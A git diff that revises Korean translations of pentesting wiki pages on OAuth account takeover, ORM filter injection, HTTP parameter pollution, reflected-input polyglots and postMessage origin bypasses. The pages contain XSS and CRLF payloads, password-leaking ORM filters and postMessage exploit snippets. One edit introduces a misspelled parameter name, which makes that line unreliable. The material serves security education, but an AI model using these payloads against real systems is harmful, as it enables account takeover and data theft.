@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito <a href="#bda5" id="bda5"></a>
이 버그 바운티 보고서에서: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**가 사용자에게 반환하는 **토큰**이 **사용자 데이터를 덮어쓸 수 있는 충분한 권한을 가질 수 있습니다.** 따라서, **다른 사용자 이메일로 사용자 이메일을 변경할 수 있다면**, 다른 계정을 **탈취할 수 있을지도 모릅니다.**
이 버그 바운티 보고서에서: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**가 사용자에게 반환하는 **토큰**이 **사용자 데이터를 덮어쓸 수 있는 충분한 권한을 가질 수 있습니다**. 따라서, **다른 사용자 이메일로 사용자 이메일을 변경할 수 있다면**, 다른 계정을 **탈취할 수 있을지도 모릅니다**.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -158,7 +158,7 @@ AWS Cognito를 악용하는 방법에 대한 자세한 정보는 다음을 확
### 두 링크 및 쿠키 <a href="#bda5" id="bda5"></a>
[**이 글에 따르면**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), 피해자가 **returnUrl**이 공격자의 호스트를 가리키는 페이지를 열도록 만들 수 있었습니다. 이 정보는 **쿠키(RU)**에 **저장되며**, **나중에** **프롬프트**가 **사용자에게** 해당 공격자의 호스트에 대한 접근을 허용할 것인지 **묻습니다**.
[**이 글에 따르면**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), 피해자가 **returnUrl**이 공격자의 호스트를 가리키는 페이지를 열도록 만드는 것이 가능했습니다. 이 정보는 **쿠키(RU)**에 **저장되며**, **나중에** **프롬프트**가 **사용자에게** 해당 공격자의 호스트에 대한 접근을 허용할 것인지 **묻습니다**.
이 프롬프트를 우회하기 위해, **returnUrl**을 사용하여 이 RU 쿠키를 설정하는 **Oauth 흐름**을 시작하기 위해 탭을 열고, 프롬프트가 표시되기 전에 탭을 닫고, 해당 값 없이 새 탭을 열 수 있었습니다. 그러면 **프롬프트는 공격자의 호스트에 대해 알리지 않지만**, 쿠키는 해당 호스트로 설정되므로 **토큰은 리디렉션에서 공격자의 호스트로 전송됩니다**.
@ -168,7 +168,7 @@ AWS Cognito를 악용하는 방법에 대한 자세한 정보는 다음을 확
### response_mode
[**이 비디오에서 설명된 바와 같이**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), 최종 URL에서 코드를 제공할 위치를 지정하기 위해 **`response_mode`** 매개변수를 지정할 수 있습니다:
[**이 비디오에서 설명된 바와 같이**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), 최종 URL에서 코드를 제공할 위치를 지정하기 위해 **`response_mode`** 매개변수를 지정하는 것이 가능할 수 있습니다:
- `response_mode=query` -> 코드는 GET 매개변수 내에 제공됩니다: `?code=2397rf3gu93f`
- `response_mode=fragment` -> 코드는 URL 조각 매개변수 내에 제공됩니다: `#code=2397rf3gu93f`
@ -181,12 +181,12 @@ AWS Cognito를 악용하는 방법에 대한 자세한 정보는 다음을 확
### 오픈 리디렉션을 기반으로 한 웹 페이지 리디렉션에서 ATO <a href="#bda5" id="bda5"></a>
이 [**블로그 게시물**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)은 **오픈 리디렉션**을 사용하여 **리퍼러**의 값을 악용하여 OAuth를 ATO로 악용할 수 있었던 방법을 설명합니다. 공격은 다음과 같았습니다:
이 [**블로그 게시물**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)은 **리퍼러**의 값을 사용하여 **오픈 리디렉션**을 악용하여 OAuth를 ATO로 악용하는 방법을 설명합니다. 공격은 다음과 같았습니다:
1. 피해자가 공격자의 웹 페이지에 접근합니다.
2. 피해자가 악성 링크를 열고, 오프너가 `response_type=id_token,code&prompt=none`을 추가 매개변수로 사용하여 Google OAuth 흐름을 시작합니다. **리퍼러는 공격자의 웹사이트**입니다.
3. 오프너에서 제공자가 피해자를 승인한 후, `redirect_uri` 매개변수의 값(피해자 웹)으로 30X 코드와 함께 다시 보냅니다. 이때 여전히 공격자의 웹사이트가 리퍼러에 남아 있습니다.
4. 피해자 **웹사이트는 리퍼러를 기반으로 오픈 리디렉션을 트리거하여** 피해자 사용자를 공격자의 웹사이트로 리디렉션합니다. **`response_type`**이 **`id_token,code`**였기 때문에, 코드는 URL의 **조각**으로 공격자에게 다시 전송되어 피해자의 사이트에서 Google을 통해 사용자의 계정을 탈취할 수 있게 됩니다.
4. 피해자 **웹사이트는 리퍼러를 기반으로 오픈 리디렉션을 트리거하여** 피해자 사용자를 공격자의 웹사이트로 리디렉션합니다. **`respose_type`**이 **`id_token,code`**였기 때문에, 코드는 URL의 **조각**으로 공격자에게 다시 전송되어 피해자의 사이트에서 Google을 통해 사용자의 계정을 탈취할 수 있게 됩니다.
### SSRF 매개변수 <a href="#bda5" id="bda5"></a>
@ -211,7 +211,7 @@ OAuth의 동적 클라이언트 등록은 보안 취약점, 특히 **서버 측
## OAuth 제공자의 경쟁 조건
테스트 중인 플랫폼이 OAuth 제공자인 경우 [**경쟁 조건을 테스트하기 위해 이 내용을 읽어보세요**](race-condition.md).
테스트 중인 플랫폼이 OAuth 제공자인 경우 [**경쟁 조건을 테스트하기 위해 이 내용을 읽세요**](race-condition.md).
## 참고 문헌

View File

@ -4,11 +4,11 @@
## Django ORM (Python)
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/)는 Django ORM을 취약하게 만드는 방법을 설명합니다. 예를 들어 다음과 같은 코드를 사용하여:
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/)는 Django ORM을 취약하게 만드는 방법을 설명합니다. 예를 들어 다음과 같은 코드를 사용할 수 있습니다:
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
사용자가 기사 검색을 위해 요청을 보내는 기본 API 뷰
사용자가 기사를 검색하기 위해 요청을 보내는 기본 API 뷰
"""
def post(self, request: Request, format=None):
try:
@ -19,7 +19,7 @@ return Response([])
return Response(serializer.data)
</code></pre>
모든 request.data(이는 json이 될 것입니다)가 **데이터베이스에서 객체를 필터링하는 데** 직접 전달되는 방식을 주목하십시오. 공격자는 예상보다 더 많은 데이터를 유출하기 위해 예상치 못한 필터를 보낼 수 있습니다.
모든 request.data(이는 json이 될 것입니다)가 **데이터베이스에서 객체를 필터링하는 데** 직접 전달되는 방식을 주목하세요. 공격자는 예상보다 더 많은 데이터를 유출하기 위해 예상치 못한 필터를 보낼 수 있습니다.
예시:
@ -49,7 +49,7 @@ return Response(serializer.data)
}
```
> [!CAUTION]
> 이 경우, 우리는 기사를 작성한 사용자 부서의 모든 사용자를 찾고 그들의 비밀번호를 유출할 수 있습니다 (이전 json에서는 사용자 이름만 유출하고 있지만, 이후에는 비밀번호를 유출할 수 있습니다).
> 이 경우, 우리는 기사를 작성한 사용자들이 있는 부서의 모든 사용자를 찾고 그들의 비밀번호를 유출할 수 있습니다 (이전 json에서는 사용자 이름만 유출하고 있지만, 이후에는 비밀번호를 유출할 수 있습니다).
- **Django 그룹 및 권한의 다대다 관계를 사용자와 악용하기**: 게다가, AbstractUser 모델은 Django에서 사용자를 생성하는 데 사용되며 기본적으로 이 모델은 **Permission 및 Group 테이블과의 다대다 관계**를 가지고 있습니다. 이는 기본적으로 **같은 그룹에 있거나 동일한 권한을 공유하는 경우 한 사용자에서 다른 사용자에 접근하는 방법**입니다.
```bash
@ -59,14 +59,14 @@ created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
- **필터 제한 우회**: 동일한 블로그 게시물은 `articles = Article.objects.filter(is_secret=False, **request.data)`와 같은 일부 필터링을 우회할 것을 제안했습니다. is_secret=True인 기사를 덤프하는 것이 가능하며, 관계에서 Article 테이블로 다시 루프를 돌 수 있기 때문에 비밀 기사를 비밀이 아닌 기사에서 유출할 수 있습니다. 결과는 조인되고 is_secret 필드는 비밀이 아닌 기사에서 확인되며 데이터는 비밀 기사에서 유출됩니다.
- **필터 제한 우회**: 동일한 블로그 게시물은 `articles = Article.objects.filter(is_secret=False, **request.data)`와 같은 일부 필터링을 우회할 것을 제안했습니다. is_secret=True인 기사를 덤프하는 것이 가능하며, 관계에서 Article 테이블로 다시 루프를 돌 수 있기 때문에 비밀 기사를 비밀이 아닌 기사에서 유출할 수 있습니다. 결과가 조인되고 is_secret 필드가 비밀이 아닌 기사에서 확인되는 동안 비밀 기사에서 데이터가 유출됩니다.
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
> [!CAUTION]
> 관계를 악용하면 표시된 데이터를 보호하기 위한 필터를 우회할 수 있습니다.
- **오류/시간 기반 ReDoS**: 이전 예제에서는 필터링이 작동하는지 여부에 따라 다른 응답을 기대했으며 이를 오라클로 사용했습니다. 그러나 데이터베이스에서 어떤 작업이 수행되고 응답이 항상 동일할 수 있습니다. 이 시나리오에서는 데이터베이스 오류를 발생시켜 새로운 오라클을 얻을 수 있습니다.
- **오류/시간 기반 ReDoS**: 이전 예제에서는 필터링이 작동하는지 여부에 따라 다른 응답을 기대했으며, 이를 오라클로 사용했습니다. 그러나 데이터베이스에서 어떤 작업이 수행되고 응답이 항상 동일할 수 있습니다. 이 시나리오에서는 데이터베이스 오류를 발생시켜 새로운 오라클을 얻을 수 있습니다.
```json
// Non matching password
{
@ -92,7 +92,7 @@ app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
// 공격자는 모든 prisma 옵션에 대한 전체 제어를 가집니다
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
@ -283,7 +283,7 @@ def index
@posts = @q.result(distinct: true)
end
```
공격자가 보낸 매개변수에 의해 쿼리가 정의된다는 점에 유의하십시오. 예를 들어, 다음과 같이 재설정 토큰을 무차별 대입할 수 있었습니다:
공격자가 보낸 매개변수에 의해 쿼리가 정의된다는 점에 유의하십시오. 예를 들어, 다음과 같이 리셋 토큰을 무차별 대입할 수 있었습니다:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1

View File

@ -7,7 +7,7 @@
## HTTP Parameter Pollution (HPP) 개요
HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여 웹 애플리케이션의 동작을 의도하지 않은 방식으로 변경하는 기술입니다. 이 조작은 HTTP 매개변수를 추가, 수정 또는 복제하여 수행됩니다. 이러한 조작의 효과는 사용자에게 직접적으로 보이지 않지만, 서버 측에서 애플리케이션의 기능을 상당히 변경할 수 있으며, 클라이언트 측에서 관찰 가능한 영향을 미칠 수 있습니다.
HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여 웹 애플리케이션의 동작을 의도하지 않은 방식으로 변경하는 기술입니다. 이 조작은 HTTP 매개변수를 추가, 수정 또는 복제함으로써 이루어집니다. 이러한 조작의 효과는 사용자에게 직접적으로 보이지 않지만, 서버 측에서 애플리케이션의 기능을 상당히 변경할 수 있으며, 클라이언트 측에서 관찰 가능한 영향을 미칠 수 있습니다.
### HTTP Parameter Pollution (HPP) 예시
@ -19,7 +19,7 @@ HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여
- **조작된 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
거래가 `accountA` 대신 `accountC`에 잘못 청구될 수 있으며, 이는 HPP가 거래 또는 비밀번호 재설정, 2FA 설정, API 키 요청과 같은 다른 기능을 조작할 수 있는 잠재력을 보여줍니다.
거래가 `accountA` 대신 `accountC`에 잘못 청구될 수 있으며, 이는 HPP가 거래 또는 비밀번호 재설정, 2FA 설정, API 키 요청과 같은 다른 기능을 조작할 수 있는 가능성을 보여줍니다.
#### **기술별 매개변수 파싱**
@ -50,7 +50,7 @@ HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여
웹 기술이 중복 HTTP 매개변수를 처리하는 방식은 다르며, HPP 공격에 대한 취약성에 영향을 미칩니다:
- **Flask:** 쿼리 문자열 `a=1&a=2`에서 `a=1`과 같은 첫 번째 매개변수 값을 채택하며, 초기 인스턴스를 후속 중복보다 우선시합니다.
- **PHP (Apache HTTP Server에서):** 반대로, 마지막 매개변수 값을 우선시하여 주어진 예에서 `a=2`를 선택합니다. 이 동작은 공격자가 조작한 매개변수를 원본보다 우선시함으로써 HPP 악용을 우연히 촉진할 수 있습니다.
- **PHP (Apache HTTP Server에서):** 반대로, 마지막 매개변수 값을 우선시하여 주어진 예에서 `a=2`를 선택합니다. 이 동작은 공격자가 조작한 매개변수를 원본보다 우선시함으로써 HPP 악용을 무심코 촉진할 수 있습니다.
## 기술별 매개변수 오염
@ -124,7 +124,7 @@ HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여
```ini
obj = {"test": "user", "test": "admin"}
```
프론트엔드는 첫 번째 발생을 믿을 수 있지만 백엔드는 두 번째 발생 사용할 수 있습니다.
프론트엔드는 첫 번째 발생을 믿을 수 있지만 백엔드는 두 번째 발생의 키를 사용할 수 있습니다.
### 키 충돌: 문자 잘림 및 주석
@ -156,7 +156,7 @@ Serializer 1 (예: GoLang의 GoJay 라이브러리)은 다음을 생성합니다
- `test = 2`
- `extra = ""`
Serializer 2 (예: Java의 JSON-iterator 라이브러리) 다음을 생성합니다:
Serializer 2 (예: Java의 JSON-iterator 라이브러리) 다음을 생성합니다:
- `description = "Duplicate with comments"`
- `extra = "/*"`
@ -196,7 +196,7 @@ obj.toString() // {"test": 2}
0
9223372036854775807
```
어떤 것이 불일치를 초래할 수 있습니다
어떤 불일치를 초래할 수 있습니다
## References

View File

@ -5,10 +5,10 @@
이 PoCs와 Polygloths의 목표는 테스터에게 **응답에 입력이 반영되는 경우** 그가 악용할 수 있는 취약점에 대한 빠른 **요약**을 제공하는 것입니다.
> [!WARNING]
> 이 **cheatsheet는 각 취약점에 대한 포괄적인 테스트 목록을 제안하지 않습니다**, 기본적인 것들만 포함되어 있습니다. 더 포괄적인 테스트를 원하신다면 제안된 각 취약점에 접근하세요.
> 이 **치트시트는 각 취약점에 대한 포괄적인 테스트 목록을 제안하지 않습니다**, 기본적인 것들만 포함되어 있습니다. 더 포괄적인 테스트를 원하신다면 제안된 각 취약점에 접근하세요.
> [!CAUTION]
> **XXE와 같은 Content-Type 의존적 주입**은 찾을 수 없으며, 일반적으로 xml 데이터를 전송하는 요청을 발견하면 직접 시도할 것입니다. **여기에서 데이터베이스 주입**도 찾을 수 없으며, 일부 콘텐츠가 반영될 수 있지만 이는 백엔드 DB 기술 및 구조에 크게 의존합니다.
> **XXE와 같은 Content-Type 의존 주입**은 찾을 수 없습니다. 일반적으로 xml 데이터를 전송하는 요청을 발견하면 직접 시도할 것입니다. **여기에서 데이터베이스 주입**도 찾을 수 없습니다. 일부 콘텐츠가 반영될 수 있지만 이는 백엔드 DB 기술 및 구조에 크게 의존합니다.
## Polygloths list
```python
@ -88,7 +88,7 @@ $(ls)
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## 덩글링 마크업
## 남은 마크업
### 기본 테스트
```markup

View File

@ -38,8 +38,8 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
### iframe 공격 및 **targetOrigin**의 와일드카드
[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호 없음)될 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **origin**을 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\
페이지가 iframed될 수 있지만 **targetOrigin**이 **와일드카드가 아닌 URL로 설정된 경우**, 이 **트릭은 작동하지 않습니다**.
[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호 없음)될 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **출처**를 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\
페이지가 iframed될 수 있지만 **targetOrigin**이 **URL로 설정되고 와일드카드가 아닌 경우**, 이 **트릭은 작동하지 않습니다**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
false
)
```
코드가 **가장 먼저** 하는 일이 **출처를 확인하는 것**이라는 점에 유의하세요. 이는 수신된 정보로 **민감한 작업**을 수행할 경우 매우 **중요**합니다 (예: 비밀번호 변경). **출처를 확인하지 않으면 공격자가 피해자가 이 엔드포인트로 임의의 데이터를 전송하게 할 수 있으며** 피해자의 비밀번호를 변경할 수 있습니다 (이 예제에서).
코드가 **가장 먼저** 하는 일이 **출처를 확인하는 것**이라는 점에 유의하세요. 이는 수신된 정보로 **민감한 작업**(예: 비밀번호 변경)을 수행할 경우 매우 **중요**합니다. **출처를 확인하지 않으면 공격자가 피해자가 이 엔드포인트로 임의의 데이터를 전송하게 할 수** 있으며, 피해자의 비밀번호를 변경할 수 있습니다(이 예제에서).
### 열거
@ -88,21 +88,21 @@ false
### 출처 확인 우회
- **`event.isTrusted`** 속성은 진정한 사용자 행동에 의해 생성된 이벤트에 대해서만 `True`를 반환하므로 안전하다고 간주됩니다. 올바르게 구현되면 우회하기 어려우나, 보안 검사에서의 중요성은 주목할 만합니다.
- PostMessage 이벤트에서 출처 검증을 위해 **`indexOf()`**를 사용하는 것은 우회에 취약할 수 있습니다. 이 취약성을 설명하는 예는 다음과 같습니다:
- **`event.isTrusted`** 속성은 진정한 사용자 작업에 의해 생성된 이벤트에 대해서만 `True`를 반환하므로 안전하다고 간주됩니다. 올바르게 구현되면 우회하기 어려우나, 보안 검사에서의 중요성은 주목할 만합니다.
- PostMessage 이벤트에서 출처 유효성 검사를 위해 **`indexOf()`**를 사용하는 것은 우회에 취약할 수 있습니다. 이 취약성을 설명하는 예는 다음과 같습니다:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- `String.prototype.search()`**`search()`** 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 조작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어:
- `String.prototype.search()`**`search()`** 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 제작된 도메인으로 유효성 검사를 우회할 수 있게 합니다. 예를 들어:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- `search()`와 유사한 **`match()`** 함수는 정규 표현식을 처리합니다. 정규 표현식이 잘못 구성되면 우회에 취약할 수 있습니다.
- **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정리하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 제어 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않니다. 이는 아래 예제에서 보여집니다:
- **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정리하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 제어 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않을 것입니다. 이는 아래 예제에서 보여집니다:
- 예상 실패:
@ -126,13 +126,13 @@ result.message // "'"<b>\"
### e.origin == window.origin 우회
**샌드박스 iframe** 내에 웹 페이지를 삽입할 때 %%%%%%를 사용하는 경우, iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 **샌드박스 속성** 및 보안과 기능에 대한 그 의미를 다룰 때 특히 중요합니다.
**샌드박스 iframe** 내에 웹 페이지를 삽입할 때 %%%%%%를 사용하 iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 **샌드박스 속성** 및 보안과 기능에 대한 그 의미를 다룰 때 특히 중요합니다.
샌드박스 속성에 **`allow-popups`**를 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 샌드박스 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한, 팝업 창의 출처도 `null`로 설정되어 iframe의 출처와 일치함을 의미합니다.
샌드박스 속성에 **`allow-popups`**를 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 샌드박스 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한 팝업 창의 출처도 `null`로 설정된다는 것을 의미하며, iframe의 출처와 일치합니다.
따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 메시지가 **`postMessage`**를 사용하여 전송되면, 송신 및 수신 양쪽의 출처가 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 모두 `null`이라는 동일한 출처 값을 공유하기 때문입니다.
따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **`postMessage`**를 사용하여 메시지를 보낼 때, 송신 및 수신 양쪽의 출처가 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 동일한 출처 값인 `null`을 공유하기 때문입니다.
자세한 정보는 **읽어보세요**:
자세한 내용은 **읽어보세요**:
{{#ref}}
bypassing-sop-with-iframes-1.md
@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md
### e.source 우회
메시지가 스크립트가 청취하고 있는 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 **브라우저 확장에서의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):
메시지가 스크립트가 청취하고 있는 동일한 창에서 온 것인지 확인할 수 있습니다(특히 **브라우저 확장 프로그램의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
@ -149,7 +149,7 @@ return
```
메시지의 **`e.source`**를 null로 만들기 위해 **postMessage**를 **전송**하고 **즉시 삭제되는** **iframe**을 생성할 수 있습니다.
자세한 정보는 **읽어보세요:**
자세한 내용은 **읽어보세요:**
{{#ref}}
bypassing-sop-with-iframes-2.md
@ -157,17 +157,17 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header 우회
이러한 공격을 수행하기 위해 이상적으로는 **피해자 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그러한 **동작**을 **방지**할 수 있습니다.\
이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션에 새 탭을 열고 그와 통신할 수 있습니다:
이러한 공격을 수행하기 위해 이상적으로는 **피해자 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그 **동작**을 **방지**할 수 있습니다.\
이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션을 새 탭에서 열고 그와 통신할 수 있습니다:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### 자식에게 전송된 메시지를 메인 페이지 차단으로 훔치기
### 자식에게 전송된 메시지 훔치기: 메인 페이지 차단
다음 페이지에서는 **메인** 페이지를 차단한 후 **자식 iframe**에 전송된 **민감한 postmessage 데이터**를 어떻게 훔칠 수 있는지 보여줍니다. **자식**에서 **XSS**를 악용하여 데이터가 수신되기 전에 **데이터를 유출**니다:
다음 페이지에서는 **메인** 페이지를 차단한 후 **자식 iframe**에 전송된 **민감한 postmessage 데이터**를 어떻게 훔칠 수 있는지 보여줍니다. **자식**에서 **XSS**를 악용하여 데이터가 수신되기 전에 **데이터를 유출**하는 방법입니다:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
@ -183,11 +183,11 @@ steal-postmessage-modifying-iframe-location.md
### postMessage를 통한 프로토타입 오염 및/또는 XSS
`postMessage`를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는, **페이지를 iframe**으로 삽입하고 **프로토타입 오염/XSS**를 **postMessage**를 통해 악용할 수 있습니다.
`postMessage`를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는, **페이지****iframe**으로 삽입하고 **프로토타입 오염/XSS**를 **악용**하여 `postMessage`를 통해 익스플로잇을 전송할 수 있습니다.
[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)에서 **postMessage**를 통한 **XSS**에 대한 **매우 잘 설명된** 사례를 찾을 수 있습니다.
`iframe`으로의 `postMessage`를 통한 **프로토타입 오염 및 XSS**를 악용하는 예:
`iframe`으로의 `postMessage`를 통한 **프로토타입 오염 및 XSS**를 악용하는 익스플로잇의 예:
```html
<html>
<body>
@ -218,7 +218,7 @@ setTimeout(get_code, 2000)
- [**XSS**](../xss-cross-site-scripting/)에 대한 페이지 링크
- [**클라이언트 측 프로토타입 오염에서 XSS로**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)에 대한 페이지 링크
## 참고 문헌
## 참고문헌
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)

View File

@ -12,7 +12,7 @@
따라서 공격자의 목표는 **부모가 iframe을 생성하게** 하되, **부모** 페이지가 **민감한 데이터(플래그)**를 **전송하기 전에** **바쁘게 유지**하고 **payload를 iframe으로 전송**하는 것입니다. **부모가 바쁠 때** **iframe은 payload를 실행**하며, 이는 **부모 postmessage 메시지를 듣고 플래그를 유출하는** JS가 될 것입니다.\
마지막으로, iframe은 payload를 실행하고 부모 페이지는 바쁘지 않게 되므로 플래그를 전송하고 payload가 이를 유출합니다.
그렇다면 부모가 **iframe을 생성한 직후에 민감한 데이터를 전송하기 위해 iframe이 준비되기를 기다리는 동안 어떻게 바쁘게 만들 수 있을까요?** 기본적으로 부모가 **실행할 수 있는** **비동기** **작업**을 찾아야 합니다. 예를 들어, 이 도전에서 부모는 다음과 같이 **postmessages**를 **듣고** 있었습니다:
그렇다면 부모가 **iframe을 생성한 직후에 민감한 데이터를 전송하기 위해 iframe이 준비되기를 기다리는 동안 어떻게 바쁘게 만들 수 있을까요?** 기본적으로 부모가 **실행**할 수 있는 **비동기** **작업**을 찾아야 합니다. 예를 들어, 이 도전에서 부모는 다음과 같이 **postmessages**를 **듣고** 있었습니다:
```javascript
window.addEventListener("message", (e) => {
if (e.data == "blob loaded") {
@ -25,6 +25,6 @@ $("#previewModal").modal()
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
```
정확하게 **전송**하고 **postmessage**를 **iframe**이 생성된 **후**이지만 부모로부터 데이터를 받을 준비가 **되기 전**에 하려면, **`setTimeout`의 밀리초를 조정**해야 합니다.
정확하게 **전송**하고 **postmessage**를 **iframe**이 생성된 **후**에, 그러나 부모로부터 데이터를 받을 준비가 **되기 전**에 하려면, **`setTimeout`의 밀리초를 조정**해야 합니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -15,25 +15,25 @@ renderContainer.innerHTML = data.body
}
}
```
주요 문제는 [**메인 페이지**](https://so-xss.terjanq.me)가 `data.body`를 전송하기 위해 DomPurify를 사용하므로, 자신의 HTML 데이터를 해당 코드로 전송하려면 **bypass** `e.origin !== window.origin`이 필요하다는 것입니다.
주요 문제는 [**메인 페이지**](https://so-xss.terjanq.me)가 DomPurify를 사용하여 `data.body`를 전송하기 때문에, 자신의 HTML 데이터를 해당 코드로 전송하려면 **bypass** `e.origin !== window.origin`을 해야 한다는 것입니다.
그들이 제안하는 해결책을 살펴보겠습니다.
제안된 해결책을 살펴보겠습니다.
### SOP bypass 1 (e.origin === null)
`//example.org`**sandboxed iframe**에 포함되면, 페이지의 **origin**은 **`null`**이 됩니다. 즉, **`window.origin === null`**입니다. 따라서 `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`를 통해 iframe을 포함시키기만 하면 **`null` origin**을 **강제**할 수 있습니다.
